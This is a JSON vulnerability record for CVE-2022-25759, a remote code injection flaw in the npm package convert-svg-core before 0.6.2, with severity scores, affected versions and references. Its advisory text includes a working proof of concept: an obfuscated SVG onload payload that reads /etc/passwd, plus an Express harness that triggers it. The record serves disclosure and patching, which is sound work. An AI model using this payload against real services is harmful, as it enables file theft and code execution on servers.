{"id":"CVE-2022-25759","aliases":["CVE-2022-25759","GHSA-5gxc-fxcr-9326"],"related":[],"kind":"vulnerability","state":"published","title":"Remote Code Injection","summary":"The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.","source":"cvelist"},{"lang":"en","text":"The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.\n\n### PoC\n\n**Payload**\n\n```html\n<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>\n```\nwhere the `id` attribute is the base 64-encoded form of \n\n```js\ndocument.write('<svg-dummy></svg-dummy><iframe src=\"file:///etc/passwd\" width=\"100%\" height=\"1000px\"></iframe><svg viewBox=\"0 0 240 80\" height=\"1000\" width=\"1000\" xmlns=\"http://www.w3.org/2000/svg\"><text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text></svg>');\n```\n\n\n**Attack**\n\n```js\nconst { convert } = require('convert-svg-to-png');\nconst express = require('express');\nconst fileSvg = `[[[payload]]]`;\n// YWxlcnQoMSk=\n// function newContent(){document.open(),document.write('<text x=\\\"0\\\" y=\\\"0\\\" class=\\\"Rrrrr\\\" id=\\\"demo\\\">data</text>'),document.close()}\nconst app = express();\napp.get('/poc', async (req, res)=>{\n  try {\n    const png = await convert(fileSvg);\n    res.set('Content-Type', 'image/png');\n    res.send(png);\n  } catch (e) {\n      console.log(e);\n    res.send(\"\");\n  }\n});\napp.listen(3000, ()=>{\n  console.log('started');\n});\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"El paquete convert-svg-core versiones anteriores a 0.6.2, es vulnerable a una Inyección de Código Remota por medio del envío de un archivo SVG que contiene la carga útil","source":"nvd"}],"published":"2022-07-22T20:00:19.307Z","modified":"2026-06-17T04:34:13.780Z","severity":{"scorer":"snyk","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P","score":9.9,"rating":"CRITICAL"},"severities":[{"scorer":"snyk","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P","score":9.9,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"type":"custom","introduced":"unspecified","fixed":"0.6.2","status":"affected"}],"product":"convert-svg-core","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.6.2"}],"ecosystem":"npm","package":"convert-svg-core","purl":"pkg:npm/convert-svg-core","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.6.2"}],"vendor":"convert-svg-core_project","product":"convert-svg-core","cpe":"cpe:2.3:a:convert-svg-core_project:convert-svg-core:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://security.snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-2849633","tags":["exploit","patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/neocotic/convert-svg/pull/82","tags":["patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/neocotic/convert-svg/issues/81","tags":["exploit","issue-tracking","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/neocotic/convert-svg/commit/7e6031ac7427cf82cf312cb4a25040f2e6efe7a5","tags":["patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-25759","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/neocotic/convert-svg","tags":["package"],"sources":["ghsa"]}],"credits":["Manh Nguyen Van"],"assigner":"snyk","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2022-25759","url":"https://www.cve.org/CVERecord?id=CVE-2022-25759","licence":"CVE Terms of Use","modified":"2024-09-16T20:06:21.031Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-5gxc-fxcr-9326","url":"https://github.com/advisories/GHSA-5gxc-fxcr-9326","licence":"CC-BY-4.0","modified":"2024-04-22T23:44:03.044Z"},{"source":"nvd","name":"NVD","id":"CVE-2022-25759","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-25759","licence":"Public domain","modified":"2026-06-17T04:34:13.780Z"}],"updatedAt":"2026-11-25T22:58:13.171Z","epss":{"score":0.01887,"percentile":0.80114,"date":"2026-11-30T12:00:22.000Z"}}